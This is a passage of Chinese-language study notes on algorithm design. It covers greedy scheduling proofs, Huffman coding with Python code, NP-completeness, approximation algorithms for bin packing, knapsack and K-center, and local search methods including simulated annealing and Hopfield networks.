调度问题的最优子结构 在调度问题 \(S\) 中,我们用贪心策略选出 \(w_i / l_i\) 最大的 \(i\) 对应的任务后,剩下的子问题 \(S_1\)(即在除去 \(i\) 的任务中寻找一个最小化加权完成时间之和的解)的最优解 \(C_1\) 和 \(i\) 一起一定构成了原问题的一个最优解 \(C\)。
和贪心选择问题完全一致,非常通过的结论就是用反证法想法:如果 \(C\) 不是最优解,那么必定有一个最优解 \(C'\),它对应的加权完成时间记为 \(T'< T\),其中 \(T\) 是 \(C\) 对应的加权完成时间之和。
根据贪心选择性质,如果把 \(C'\) 中的 \(i\) 不断通过相邻交换换到第一个位置,情况一定不会变差,因此得到解 \(C''\),我们将这一过程的最优记为 \(C''\)。于是 \(C''\) 在选择了 \(i\) 之后,剩下的选择实际也是\(S_1\)的一个解,,由于 \(T′ < T\),这表明 \(C''\) 中对应的 \(S1\) 的解必定比 \(C1\) 更好,但我们知道 \(C1\) 是最优解,因此得到矛盾。所以 \(C1\) 和 \(i\) 一起一定构成了原问题的一个最优解 \(C\)。综上以反证法,我们最终得以验证了问题的最优解可以通过贪心 + 最优子结构的方式得到。
Extra
-
最小化最大延时:设有 \(n\) 个任务,每个任务 \(j\) 具有一个完成需要的时间 \(t_j\),以及一个截止日期 \(d_j\)。我们只能依次完成这些任务,不能并行
三个任务长度分别为 1、2、3,截止日期分别为 2、4、6,按如图方式排序,所有任务都能在截止前完成。
-
按照用时排序,用时短的先完成;这种做法是错误的,因为用时短的任务有可能截至日期很长
-
按照\(d_j-t_j\)从小到大排序,这似乎看起来正确,但是实际上也是错误的,例如任务1用时1天,3天后截至,任务2用时10天,11天后截至,这样排序后任务2会在截至日期前完成,但是任务1会在截至日期后完成;
-
-
实际上上面两种思路出现了矛盾,对于第一种,完成时间短的应该早完成,在第二种思路中,完成时间短的,冗余时间反而大,应该晚完成;这就陷入了一个尴尬的境地,我们不知道\(t_j\)应该被如何考虑----答案是我们不需要考虑,我们只需要考虑\(d_j\)即可,我们可以将任务按照截至日期排序,然后依次完成。
Huffman 编码¶
离散没学懂的,弥补一下
哈夫曼编码希望找到一个字母表的期望长度最小(依据字母出现频率)的前缀编码,在之前最优二叉搜索树的讨论中我们似乎有一个类似的目标,但那里我们是希望最小化搜索的期望时间,并没有前缀编码的需求。事实上,哈夫曼编码具有非常强的信息论背景。
信息熵与前缀编码¶
对于一个离散型随机变量\(X\),其信息熵定义为
Note
在平均意义下,信息熵可以理解为对于一个随机变量 \(X\),我们需要多少比特来表示它。
Eg
- 考虑一个服从均匀分布且有 32 种可能取值的随机变量 X。为了确定一个结果,需要一个能容纳 32 个不同值的标识,因此用 5 个比特足矣。而其信息熵为
- 有 8 匹马参加的一场赛马比赛,它们的获胜概率分别为
假定我们要把哪匹马会赢的信息告诉给别人,其中一个策略是发送胜出的马的编号,这样对于任何一匹马都需要 3 个比特。但由于概率不是均等的,明智的方法是对概率大的马用更短的编码,对概率小的马用更长的编码。例如使用以下编码:0, 10, 110, 1110, 111100, 111101, 111110, 111111,这样平均每匹马需要 2 个比特,比等长的比特数更短。
算法描述¶
我们以二叉树的形式来构建编码树,信息都存储在叶子节点上,非叶子节点不存储信息。从根节点到叶子节点的路径上的 0 和 1 分别代表左右子树。
例如我们要编码一串\(aaaxuaxz\)像这样的一颗树,a的前缀编码是00,u是01,等等。
如果某个字符在深度为 \(d\) 的位置,那么它的编码长度为 \(d\),其出现的频率为 \(f\),那么它的总编码长度为 \(f \cdot d\)。我们的目标是最小化所有字符的总编码长度。
如果根据频率来编码,我们可以构建这样一颗树
构造哈夫曼编码树
具体来说,我们可以这样构造哈夫曼编码树
构造哈夫曼编码树的具体步骤:
- 统计频率:
给定一组待编码的字符,每个字符都有一个出现频率(或者权重)。首先,需要统计每个字符的频率。
- 创建优先队列(最小堆):
根据字符的频率,将所有字符作为节点,并将它们放入一个优先队列(最小堆)中。堆中的每个元素是一个节点,节点的值为字符的频率。优先队列保证每次能够快速取出频率最小的两个节点。
- 构建哈夫曼树:
从最小堆中反复取出两个最小频率的节点,创建一个新的父节点。这个父节点的频率是两个子节点频率之和。新的父节点不代表某个具体的字符,而是作为一个中间节点,连接两个原始节点(即两个字符的频率节点)。将新生成的父节点插回最小堆中。这个过程不断重复,直到堆中只剩下一个节点为止。最终剩下的节点就是哈夫曼树的根节点。
- 生成编码:
一旦哈夫曼树构建完成,就可以为每个字符分配编码。通过从树的根节点出发,沿着每一条路径到达叶子节点来确定编码。通常,沿左边的边分配"0",沿右边的边分配"1"。
- 叶子节点所对应的编码即为哈夫曼编码。
代码实现
import heapq
class Node:
def __init__(self, char, freq):
self.char = char # 字符
self.freq = freq # 频率
self.left = None # 左子树
self.right = None # 右子树
def __lt__(self, other):
return self.freq < other.freq
def build_huffman_tree(freqs):
# 创建优先队列(最小堆),每个元素是一个Node对象
heap = [Node(char, freq) for char, freq in freqs.items()]
heapq.heapify(heap)
while len(heap) > 1:
# 取出两个频率最小的节点
left = heapq.heappop(heap)
right = heapq.heappop(heap)
# 创建一个新的父节点
merged = Node(None, left.freq + right.freq)
merged.left = left
merged.right = right
# 将新的节点插回堆中
heapq.heappush(heap, merged)
# 返回最终的哈夫曼树的根节点
return heap[0]
def generate_huffman_codes(node, prefix="", codebook={}):
if node is not None:
if node.char is not None:
# 叶子节点,存储编码
codebook[node.char] = prefix
else:
# 递归遍历左右子树
generate_huffman_codes(node.left, prefix + "0", codebook)
generate_huffman_codes(node.right, prefix + "1", codebook)
return codebook
伪代码
void Huffman ( PriorityQueue heap[ ], int C )
{ consider the C characters as C single node binary trees,
and initialize them into a min heap;
for ( i = 1; i < C; i++ ) {
create a new node;
/* be greedy here */
delete root from min heap and attach it to left_child of node;
delete root from min heap and attach it to right_child of node;
weight of node = sum of weights of its children;
/* weight of a tree = sum of the frequencies of its leaves */
insert node into min heap;
}
}
Huffman编码正确性¶
贪心选择性质¶
\(C\) 为一个字母表,其中每个字符 \(c \in C\) 都有一个频率 \(c.freq\).令 \(x\) 和 \(y\) 是 \(C\) 中频率最低的两个字符。那么存在 \(C\) 的一个最优前缀码,\(x\) 和 \(y\) 的码字长度相同,且只有最后一个二进制位不同(即在编码二叉树中,它们是兄弟节点)。
我们也可以用交换法,如上图,可以证明交换后的树所用的编码长度不会变大,如果原来的是最优解,那么交换后的也是最优解。
最优子结构¶
\(C\) 为一个字母表,其中每个字符 \(c \in C\) 都有一个频率 \(c.freq\)。令 \(x\) 和 \(y\)是 \(C\) 中频率最低的两个字符。令 \(C′\) 为 \(C\) 去掉字符 \(x\) 和 \(y\),加入一个新字符 \(z\) 后的字母表。我们给 \(C′\) 也定义频率集合,不同之处只是 \(z.freq = x.freq + y.freq\)。令 \(T′\) 为 \(C′\) 的任意一个最优前缀码树,那么我们可以将 \(T′\) 中叶结点 \(z\) 替换为一个以 \(x\) 和 \(y\) 为孩子的内部结点得到一个 \(C\) 的一个最优前缀码树 \(T\)。
Note
如果上面这一命题正确,那么我们每次合并 \(x\) 和 \(y\) 得到 \(z\) 之后,按照没有 \(x\) 和 \(y\),只有 \(z\) 的子问题继续推进我们的贪心算法可以得到 \(T′\) 这一子问题的最优解,它和合并 \(x\) 和 \(y\) 得到 \(z\) 这一前面已经验证正确性的贪心选择一起,就构成了整体的最优解。
使用反证法证明
首先我们有
因为\(T'\)相当于把\(T\)中\(x,y\)上移一层,假设\(T\)不是最优解,那么存在一个更优解\(T''\),使得
即
则有
其中\(T'''\)是\(T''\)中\(x,y\)合并成\(z\)得到的树,这与\(T'\)是最优解矛盾,所以\(T\)是最优解,证毕。
NP完全性¶
约 1229 个字 预计阅读时间 4 分钟
基本概念¶
Definition
由多项式时间算法解决的问题集合。
其中多项式时间算法指的是算法的时间复杂度与输入的长度之间是多项式关系
NP(Non-deterministic Polynomial time)问题是指可以在多项式时间内验证一个解的问题集合。但是并不确定能不能在多项式时间内找到一个解。
多项式时间验证
we say \(B\) is an efficient verifier for problem \(X\) if
-
\(B\) runs in polynomial time,taking two arguments: an instance \(x\) and a certificate \(y\).
-
there exists a polynomial \(p\) such that for every \(x\) in \(X\), there is a certificate \(y\) of length at most \(p(|x|)\) such that \(B\) accepts \((x,y)\)
NP-hard问题是指所有的NP问题都能在多项式时间内约化为该问题。NP-hard问题不一定是NP问题,它是比NP问题更难的问题。
NPC(NP-Complete)问题是指既是NP问题,又是NP问题中最难的问题(NP-hard)。如果能在多项式时间内解决一个NPC问题,那么所有的NP问题都能在多项式时间内解决。也就是说
四者关系
- P问题能在多项式时间内解决,自然也能在多项式时间内验证,所以P问题是NP问题的子集。\(P \subseteq NP\)
- NPC问题是NP问题的子集,\(NPC \subseteq NP\)
- NPC问题也是NP-hard问题的子集,\(NPC \subseteq NP-hard\),\(NPC=NP \cap NP-hard\)
- NP-hard问题不一定是NP问题,\(NP-hard \nsubseteq NP\)
- 如果NPC问题能在多项式时间内解决,那么所有的NP问题都能在多项式时间内解决,\(P=NP \Rightarrow P=NP=NPC\)
常见的多项式时间问题¶
- 最短路径问题::给定一个有向图\(G = (V, E)\)即使是带负权的,我们可以在 \(O(|V||E|)\) 的时间内找到从单一源顶点开始的最短路径;这是多项式时间的,因为图中我们的输入规模可以视为 \(|V|+|E|\)
- 欧拉回路问题:是否存在一条路径,经过图中每条边恰好一次,且最终回到起点。这个问题可以在 \(O(|E|)\) 的时间内使用深度优先搜索解决。
- \(2-SAT\)问题:给定一个合取范式(如果它是由 \(2\) 个子句的合取构成的,每个子句是由\(2\)个变量或者它们的否定构成的析取),也可以在多项式时间内找到是否存在变量的0,1赋值,使得合取式为真。
0-1背包问题
0-1背包问题的时间复杂度是指数级别的,不是多项式时间的。其背包容量是使用2进制表示的(\(\log C\)),前面讨论的\(n\)指的是\(n\)个2进制编码
形式语言(formal language)¶
一个形式语言\(L\)是一个字符串的集合,\(L \subseteq \Sigma^*\),其中\(\Sigma\)是一个有限的字母表,其上的字符串(string)是字母表上的字符的有限序列,所有这样的字符串构成了\(\Sigma^*\)。
- 至多可数的集合上的有限字符串是可数的
- 语言可以做衔接、并、交、补、Kleene 闭包(由集合中的符号生成的所有可能的有限长度的字符串所构成的集合)等运算
Definition
给定语言\(L\),输入某一个字符串\(w\),判定问题是指判断\(w\)是否属于\(L\)。如果\(w \in L\),则输出YES,否则输出NO。(decision problem)
\(A\) solves problem \(L\) (\(A\) decides language \(L\)) if for every \(w \in \Sigma^*\)
\(A\) accepts \(w\) if and only if \(w \in L\)
给定语言\(L\),搜索问题是指找到一个\(w\),使得\(w \in L\)。
给定语言\(L_1\)和\(L_2\),计算某个从\(L_1\)到\(L_2\)的函数\(f\)。
Karp归约¶
称一个语言\(L_1\)可以多项式归约( \(Karp\) 归约)到另一个语言\(L_2\),如果存在一个多项式时间的计算函数\(f\),使得
记作\(L_1 \leqslant_p L_2\)。此时说明 \(L_2\) 至少和 \(L_1\) 一样难。
那么对于\(NP\)和\(P\)的关系,我们可以得到如下结论:
如果我们找到了一个\(NPC\)问题,那么所有的\(NP\)问题都可以归约到这个\(NPC\)问题,也就是说,如果我们能在多项式时间内解决一个\(NPC\)问题,那么所有的\(NP\)问题都可以在多项式时间内解决。此时有
如果我们不能在多项式时间内解决一个\(NPC\)问题,那么因为\(NPC\)问题是\(NP\)问题的子集,所以\(P\)是不等于\(NP\)的。
但是很遗憾的是,目前还没有人能够证明\(P\)是否等于\(NP\),也就是说我们还不知道\(NPC\)问题是否可以在多项式时间内解决。
近似算法¶
约 2053 个字 预计阅读时间 7 分钟
对于一个最优化问题的算法,主要有以下三个期望
Note
1.算法需要能找到确切的最优解 2.算法需要能高效(在多项式时间内)运行 3.算法是通用的,需要可以解决一类问题中的所有实例,而不仅仅是单个实例有效
然而,对于某些问腿,我们有可能无法实现以上三个期望,例如NPC问题,所以我们可以退而求其次,做一些妥协;
- 如果算法舍弃第二个期望,则是用例如回溯等方法在指数时间内解决问题,这对于输入不大的情况是可以接受的;
- 如果舍弃第三个期望,我们相当于为问题找到一些容易解决的特例;
- 如果舍弃第一个期望,但我们能保证高效找到的解是和真正的最优解 “相差不大” 的,那么我们称这类算法为近似算法。
基本概念¶
Definition
假设有某类问题 \(\mathcal{I}\)(例如背包问题),其中的一个具体实例记为 \(I\)(当给定问题的参数定义的时候即为一个实例),且有一个复杂度为多项式的近似算法 \(A\)。定义:
- \(A(I)\) 为算法 \(A\) 在实例 \(I\) 上得到的解;
- \(\mathbf{OPT}(I)\) 为实例 \(I\) 的最优解。
考虑 \(I\) 是最小化问题,若存在 \(r > 1\),对任意的 \(I\) 都有:
那么称 \(A\) 为该问题的 \(r\)-近似算法(即对于任何可能的问题实例,\(A\) 给出的解都不会比最优解的 \(r\) 倍大)。我们特别关心其中可以取到的最小 \(r\),称:
为 近似比(approximation ratio),即算法 \(A\) 最紧的近似界。它可以等价定义为:
即这个比值在多实例中的比值是最紧的界。反之,如果是最大化问题,那么上述公式改为:
将两者合并起来,可以统一写作:
由于\(OPT\)算法一般是难以确定的,所以确定近似比一般有以下两个步骤
-
首先寻找到一个 \( r > 1 \),对于任何实例 \( I \),都有 \( A(I) \leqslant r \cdot \text{OPT}(I) \)(可以首先找到 \( \text{OPT}(I) \) 的一个下界 \( \text{LB}(I) \leqslant \text{OPT}(I) \),然后让 \( A(I) \leqslant r \cdot \text{LB}(I) \) 即可);
-
接下来证明 \( r \) 是不可改进的,即对于任意的 \( \epsilon > 0 \),都存在在一个实例 \( I_\epsilon \),使得 \( A(I_\epsilon) \geqslant (r-\epsilon) \cdot \text{OPT}(I_\epsilon) \)。
PTAS¶
PTAS(多项式时间近似方案,Polynomial time approximation scheme):存在算法 A,使得对每一个固定的 \(\varepsilon > 0\),对任意的实例 \(I\) 都有
且算法 \( A \) 的运行时间可以被问题规模 \( |I| \) 的多项式上界所限制。则称 \( A \) 是该问题的一个 PTAS。
理论上,算法 \( A \) 在多项式时间内可以近似:不过不同的 \( \varepsilon \),\( A \) 的运行时间也可能不可能。例如,如果算法可以给出一个复杂度为 \( O(|I|^{1/\epsilon}) \) 的解,这样算法的表现就会很糟糕,因为指数很大。一般可以将 PTAS 的复杂度记为 \( O(|I|^{(1/\epsilon)}) \)。
EPTAS和FPTAS¶
EPTAS (Efficient PTAS): 在 PTAS 的基础上,要求算法 \( A \) 的复杂度是 \( O(|I|^c) \),其中 \( c > 0 \) 是与\(\varepsilon\)无关的常数。可以将 EPTS 的复杂度记为 \( |I^{O(1)}| f(1/\varepsilon)\)。
FPTAS (Fully PTAS): 在 PTAS 的基础上,要求算法 \( A \) 的运行时间关于 \( |I| \) 和 \(\varepsilon\) 都是多项式项, 即可以将 FPTAS 的复杂度记为 \(|I|^{O(1)} (1/\varepsilon)^{O(1)}\)
装箱问题(一维)¶
问题描述
有 \(n\) 个物品,每个物品的大小为 \(s_i\),有若干个箱子,每个箱子的大小为 \(C\),要求将所有物品放入箱子中,使得每个箱子的大小不超过 \(C\),并且使得所需的箱子数目尽可能少。
给定若干个物品,判断它们是否可由两个箱子装下是 NP 完全的
接下来我们默认\(C=1\),即箱子的大小为1,方便讨论。
关于一维装箱问题,除非 \(P=NP\),否则不存在多项式时间的算法满足
其中 \(\alpha < \frac{3}{2}\)。
Proof
使用反证法,如果存在近似比小于 \(\frac{3}{2}\) 的算法,那么可以用这个算法\(A\)来解决NPC的判断物品是否可以由两个箱子装下的问题。
-
如果物品可以由两个箱子装下,那么\(OPT=2\),则\(A(I) < \frac{3}{2} \cdot 2 = 3\),即\(A(I) < 3\);此时\(A(I)=2\),那么\(A\)可以判断;
-
如果物品不可以由两个箱子装下,那么\(OPT \geqslant 3\),则\(A(I)\)至少为\(3\),即\(A(I) \geqslant 3\);但是由于近似比小于\(\frac{3}{2}\),所以由\(A(I)\)可以判断此时OPT不可能是\(2\)。此时这个近似算法\(A\)就可以判断物品是否可以由两个箱子装下。
综上,我们用多项式算法\(A\)来解决NPC问题,所以只可能有P=NP。
在装箱问题中,我们一般不关心全部的实例,而关心 \(OPT(I)\) 较大的那些实例。因此定义 “渐近近似比(asymptotic approximation ratio)” 如下:
Definition
对于一维装箱问题,定义渐近近似比为,对于任意常数 \(\alpha \geqslant 1\),对于任意实例 \(I\),存在常数 \(k\),使得
则称所有满足上式的 \(\alpha\) 的下确界为\(A\)渐近近似比。
\(k\)可以是一个常数,也可以是\(OPT(I)\)的一个高阶无穷小。
Quote
装箱问题中,若所有的物品信息在开始装箱前已知,则它是离线(offline)问 题;若初始时物品信息并不全部给出,例如物品在传送带上逐个到达,需要我们即时安排,而我们对未到达物品信息一无所知,同时做出的决定无法更改,此时称为在线(online)问题。“近似比” 通常用来描述离线问题近似算法的性能。而对于在线问题,一般用 “竞争比(competitive ratio)” 的概念。
Next Fit¶
Next Fit 算法是一种简单的装箱算法,其思想是:对于每个物品,尝试将其放入当前箱子,如果放不下,则关闭当前箱子,并开出一个新箱子,将其放入;
Next Fit 算法有一个性质:相邻两个箱子的大小之和肯定大于1,否则就不需要开新箱子;
根据这个,我们可以证明:
即
换句话说,如果我们的算法的箱子数目用了\(2M\)个,那么最优解至少要用\(M+1\)个箱子。
Proof
令 \( S(B_i) \) 为箱子 \( B_i \) 中物品的大小之和,那么有:
将所有不等式相加,得到:
所以总的大小严格大于 \(M\),即最优解箱子数目至少为 \(M+1\)。
事实上\(NF\)装箱的近似比就是\(2\),不会再有比这个小的了;
下确界的例子
考虑\(M\)组物品,每组物品的大小为\(\dfrac{1}{2},\varepsilon\),最后再加一个\(\dfrac{1}{2}\),且满足\(M\varepsilon < 1\),此时\(NF\)算法需要\(M+1\)个箱子,而最优解需要\(M/2+1\)个箱子,所以\(NF\)算法的下确界为\(2\)。
Any Fit¶
这是一类的Fit方案,满足: 当物品到达时,除非所有目前打开的箱子都无法装下该物品,才允许打开一个新箱子
主要包括:
- (FF)First Fit: 按箱子打开的顺序从早到晚检查,将物品放入第一个能放下的箱子中;
- (BF)Best Fit: 将物品放入剩余空间最小的箱子中,最大化利用箱子空间;
- (WF)Worst Fit: 将物品放入剩余空间最大的箱子中;
前面的所有 Fit 算法都是在线算法。此外,Any Fit 的三种算法都满足相邻两个箱子物品尺寸之和大于1,因此它们都不会比 NF 差。而前面 NF 的下界实例也适用于 WF,因此 WF 和 NF 一样差。
FF VS BF
从定义上来看,BF最大化利用了空间,似乎表现会比FF好,但是实际上并不能很好判断两者的优劣:
- 0.5、0.7、0.1、0.4、0.3,FF=2;BF=3;
- 0.5、0.7、0.3、0.5,FF=3;BF=2;
从上面的例子可以看出,BF并不一定比FF好,FF也不一定比BF好;
FF和BF的近似比都是1.7;
0-1背包问题¶
基础的2-近似算法¶
在贪心算法中,如果是解决分数背包问题,那么可以使用贪心算法,是让背包的每一单位重量的价值最大化;但是如果是整数的0-1背包问题,那么有以下反例:
有两个物品,第一个物品的价值为 1,重量为 1,第二个物品的价值为 2,重量为 3,背包的容量为 3。我们的贪心策略是让每单位重量的价值最大化,因此贪心算法的选择结果是选择第一个物品,但实际上最优解显然是选择第二个物品,这样背包的价值为 2,而贪心算法的解为 1。因此贪心算法并不是最优的。
为了得到近似比,我们需要进一步改进我们的贪心算法:我们有两个贪心策略,其一是根据这里的单位重量的价值(profit density),其二是直接贪心选择最大价值的物品,我们运行两个算法选择最优解,我们可以证明,这样结合后的近似比为 2
设
- \(P_{frac}\) 为分数背包问题的最优解;
- \(P_{OPT}\) 为0-1背包问题的最优解;
- \(P_{greedy}\) 为贪心算法的解;
- \(p_{max}\) 为装得下的物品中价值最大的物品的价值;
那么有
所以
其中的\(P_{frac} \leqslant P_{greedy}+p_{max}\)是因为按照贪心策略,我们选择了最大的物品,在即将满的时候,\(P_{frac}\)在\(P_{greedy}\)的基础上将\(p_{max}\)的截取了一部分装进去了;
Summary
如果已知最优解中价值最大的前k个,那么可以设计出近似比为\(\dfrac{k+1}{k}\)的算法
0-1背包的FPTAS算法¶
现在我们讨论一个更美好的算法,即一个可以无限近似的算法。利用动态规划一讲的算法我们知道 0-1背包问题是有伪多项式算法的,即其复杂度是 \(O(nC)\) 的,其中 \(n\) 是物品的数量,\(C\) 是背包的容量。但我们可以换个角度进行动态规划,我们的数组第二个维度不再是背包的容量,而是价值,即我们原先的数组是 A[i][c]表达的是前 i 个物品放入容量为 c 的背包的最大价值,现在我们的数组是 A[i][v] 表达的是前 i 个物品放入价值为 v 的背包的最小重量。转移方程为:
Note
Let \( W_{i,p} \) be the minimum weight of a collection from \(\{1, \ldots, i\}\) with total profit being exactly \( p \).
- Take \( i \):
- Skip \( i \):
显然,这一动态规划的复杂度是 \(O(nV)\) 的,其中 \(V\) 是所有物品的价值之和。我们做个简单的变换,设 \(vmax\) 是所有物品的价值的最大值,那么显然有 \(V \leqslant nvmax\)因此我们的复杂度是 \(O(n^2 vmax)\) 的。
如果发现 \(vmax\) 的大小是 \(n\) 的多项式级别的,那么我们将得到一个多项式时间的算法。然而并非所有实例都能满足这一条件,因此我们需要对输入的价值做一些技术性的处理,即对输入的所有价值做同比例的缩小,使得 \(vmax\) 能缩小到 \(n\) 的多项式 级别
Key-point
给定想要的比例\(\varepsilon\),取\(b=\dfrac{\varepsilon v_{max}}{n}\) 将输入的全体价值同时缩放一个比例\(b\),使得最大价值为\(n\)的多项式级别,做向上(或者向下)取整,然后使用动态规划做法,得到最优解\(v\);最后再将结果放大回来,我们相信放大回来的价值和原价值是接近的,即\(bv\)是一个近似解。
可以证明上述算法是 0-1 背包的一个FPTAS算法
首先时间复杂度是显然的,我们缩小价值后的的动态规划算法是
满足多项式时间的要求;
我们用多项式算法解决了\(v_i'\)价值下的问题:
我们还需要关注经过缩放再放大之后,原本价值的变化是怎么样的即 \(v_i' = \lceil v_i / b \rceil b\) 和 \(v_i\) 是接近的。事实上因为在向上取整时最多只会加上 1,因此我们有:
设对于 \(v_1, \ldots, v_n\) 而言的最优物品集合为 \(S^*\),而对于 \(v_1', \ldots, v_n'\) 而言的最优物品集合为 \(S\),那么我们有:
这是因为 \(S\) 是 \(v_1', \ldots, v_n'\) 的最优解,而 \(S^*\) 是一个可行解。然后结合上述含入的不等式我们有如下等式链:
比较首尾,只要能估计出 \(v_{\max}\) 和 \(\sum_{i \in S} v_i\) 的关系,我们就能得到近似化的上界。显然$v_{max} \leqslant \sum_{i \in S^*} v_i $
因此我们的近似化满足 FPTAS 的要求。
K-Center问题¶
Greedy-KCenter问题的的解不大于最优解的两倍,即
证明:如果该算法的K个中心刚好在最优解的圆里面,证毕;如果不在,那么其至少有两个在同一个最优解的圆里面,由于每次选的都是最远的,所以这两个点(u,v)的距离大于其解。
也证毕。
局部搜索¶
约 3466 个字 39 行代码 3 张图片 预计阅读时间 12 分钟
昔孟母,择邻处
引入
如果我们位于一座山上,所拥有的信息只有我们周围的地形,现在我们要下山,理所应当的,我们会选择当前所能看到的最低的位置前进,当然,这样的选择并不一定能够保证我们最终能够到达山脚下,有可能只是到达一个山谷;但是有时候这种方法是有效的。
局部搜索(Local Search)是一种常用的优化方法,主要用于求解大规模的优化问题,尤其是那些解空间较大且不容易通过全局搜索找到最优解的问题。局部搜索算法从一个初始解出发,在当前解的邻域中不断进行探索,以寻找更好的解,直到满足某些停止条件。
具体来说,局部搜索的基本流程包括以下几个步骤:
- 初始化:选择一个初始解。
- 邻域搜索:通过某种方式生成当前解的邻域解,即在当前解的基础上进行微小的改变,得到一组相似的解。
- 选择最优邻域解:从邻域解中选择一个“更优”的解,作为新的当前解。
- 迭代:重复邻域搜索和选择最优邻域解的步骤,直到满足停止条件(如达到最大迭代次数、解的改进达到一定程度等)。
局部搜索通常用于求解 组合优化问题 (如旅行商问题、图着色问题等),尤其在搜索空间庞大的情况下,它通过聚焦在较小的局部区域内进行搜索,能够在较短的时间内找到一个较好的解,尽管该解不一定是全局最优。
局部搜索的一些常见变种包括:
- 爬山算法(Hill Climbing):一种简单的局部搜索方法,通过选择邻域中最好的解逐步优化,直到没有更好的解为止。
- 模拟退火(Simulated Annealing):在爬山算法的基础上引入了随机性,允许接受较差的解,从而避免陷入局部最优解。
- 禁忌搜索(Tabu Search):通过维护一个禁忌表来记录已经访问过的解,防止算法反复访问已探索过的区域,从而提高搜索效率。
局部搜索的优点是计算效率高、实现简单,但其缺点是容易陷入局部最优解(到达了山谷而不是山底)。
局部搜索的框架¶
局部性(Locality)
-
需要在neighborhood中进行搜索,即在可行集中的邻域进行搜索
-
需要保证局部最优是 自身邻域 的全局最优
搜索
-
从一个可行解开始,每一次迭代都会在当前解的邻域中选择一个更好的解
-
达到局部最优当且仅当邻域内没有更好的解
伪代码¶
S \(\sim\) S' : S' is a neighboring solution of S, whree S' can be obtained by a slight modification of S.
即对S进行一次小的改变,得到S'。
N(S): neighborhood of S – the set { S': S \(\sim\) S' }.
SolutionType Gradient_descent()
{ Start from a feasible solution S FS ;
MinCost = cost(S);
while (1) {
S’ = Search( N(S) ); /* find the best S’ in N(S) */
CurrentCost = cost(S’);
if ( CurrentCost < MinCost ) {
MinCost = CurrentCost; S = S’;
}
else break;
}
return S;
}
点集覆盖问题¶
Vertex Cover Problem
给定一个无向图\(G=(V,E)\),以及一个正整数\(K\),是否存在V的一个子集\(C\),使得\(C\)中点的个数不超过\(K\),且对于每一条边\((u,v)\) \(\in\) \(E\),至少有一个端点在\(C\)中。
Vertex cover problem (optimization)
在点集覆盖问题的基础上,找到最小的点集覆盖。
在这一问题中
- Feasible solution(\(\mathcal{FS}\)): 所有点集覆盖的集合
- Cost(S) = |S|
- S \(\sim\) S'
在点集覆盖中,每一个点集覆盖S至多有|V|个邻居,即N(S)的大小是有限的。
- search: Start from S = V; delete a node and check if S' is a vertex cover with a smaller cost.
Example

Case0,是正确的,依次删去所有点,最后得到的是空集,是一个点集覆盖。
Case1,是错误的,因为删除了一个点后,我们将最优解删去了;
改进¶
如果我们可以容忍暂时的代价升高,有可能会遇到代价降低更好的情况
SolutionType Metropolis()
{ Define constants k and T;
Start from a feasible solution S in FS ;
MinCost = cost(S);
while (1) {
S’ = Randomly chosen from N(S); //Adding is allowed
CurrentCost = cost(S’);
if ( CurrentCost < MinCost ) {
MinCost = CurrentCost; S = S’;
}
else {
With a probability, let S = S’;
else break;
}
}
return S;
}
模拟退火¶
Info
这种改进的方法由Metropolis,Rosenbluth,Rosenbluth,Teller和Teller于1953年提出,被称为Metropolis算法。他们希望利用统计力学中的原理模拟物理系统的行为。在统计物理中有一个假设,当一个系统的能量为E时,它出现的概率为\(e^{−E/kT}\),其中\(T>0\)是温度,\(k\)是玻尔兹曼常数。这个假设被称为Boltzmann分布。显然的,当\(T\)固定时,能量越低的状态出现的概率越大,因此一个物理系统也有更大的概率处于能量低的状态。然后我们考虑温度T的影响,当\(T\)很大时,根据指数函数的特点,不同能量对应的概率其实差别可能不是很大;但\(T\)较低的时候,不同的能量对应的概率差别就会很大。
基于玻尔兹曼分布,我们可以将Metropolis算法描述如下:
-
初始化:随机选择一个可行解 \(S\),设 \(S\) 的能量为 \(E(S)\),并确定一个温度 \(T\);
-
不断进行如下步骤:
(1) 随机选择 \(S\) 的一个邻居 \(S'\)(可以按均匀分布随机选择);
(2) 如果 \(E(S') \leqslant E(S)\),则接受 \(S'\) 作为新的解;
(3) 如果 \(E(S') > E(S)\),则以概率 \(e^{-(E(S')-E(S))/kT}\) 接受 \(S′\) 作为新的解;如果接受了则更新解,继续下一轮迭代,否则保持原解 \(S\),继续迭代。
直观地说,Metropolis算法就是在当前解S的邻居中随机选择一个解S′,如果S′的能量更低则接受,否则以一定概率接受一个更差的解——这就使得我们有可能跳出一个局部最优解。当然有一个注意的问题是,我们上面没有写算法的停止点,实际上进行到一个满意的结果中断算法即可。Metropolis等人证明了他们的算法具有如下性质
Note
设 \(Z = \sum_{S } e^{−E(S)/kT}\),则对于任意状态 \(S\),记\(f_S(t)\)为在\(t\)轮迭代中选到了状态\(S\)的比例,则当\(t \to \infty\)时,\(f_S(t) \text{(以概率1收敛)} \to e^{−E(S)/kT}/Z\)。
Hopfield 神经网络¶
Hopfield神经网络是一种全连接的反馈神经网络,于1982年由J.Hopfeld教授提出;Hopfield神经网络有一个能量函数,如果能将能量函数与一个优化问题绑定,那么Hopfield神经网络就可以用来解决这个优化问题,例如旅行商问题
Definition
-
Hopfield 神经网络可以抽象为一个无向图 \( G = (V, E) \),其中 \( V \) 是神经元的集合,\( E \) 是神经元之间的连接关系,并且每条边 \( e \) 都有一个权重 \( w_e \),这可能是正数或负数:
-
Hopfield 神经网络的一个状态 (configuration) 是指网络中每个神经元 (即图的顶点) 的状态的一个取值,倾向值能为 1 或 -1。我们记顶点u的状态为 \( s_u \)。
-
如果对于边 \( e = (u, v) \),我们定义 \( c_e = w_e s_u s_v \),我们希望\(c_e < 0\)
-
我们将上述条件的边称为“好”的 (good),而称为“坏”的 (bad)。
-
如果我们一点是“满意的” (satisfied),当且仅当它所连接的所有点中,好边的权重绝对值大于等于坏边的,即
反之,如果不满足这一条件,我们称其为“不满意的” (unsatisfied)。
6.最后,我们称一个构型是“稳定的(stable)”,当且仅当所有的点都是满意的

局部搜索算法¶
如果要设计一个局部搜索算法,我想我们有一个非常简单直接的方式。在这一问题中,我们自然地就会定义一个构型的邻居就是将其中一个点的状态取反得到的新构型,然后我们就可以设计一个局部搜索算法了:我们从一个随机初始构型开始,然后检查每个点是否满意,如果有不满意的点,我们就翻转这个点的状态(那么这个点自然就变得满意了),然后继续检查,直到所有的点都满意为止。 如果这个算法会停止 ,那么停止的时候我们得到的就是一个稳定构型:因为所有点都满意了;
我们称为状态翻转算法(State flipping algorithm):
ConfigType State_flipping()
{
Start from an arbitrary configuration S;
while ( ! IsStable(S) ) {
u = GetUnsatisfied(S);
su = - su;
}
return S;
}
这个算法一定会停止吗
State_flipping算法至多反转\(\sum_{e \in E}|w_e|\)后会停止
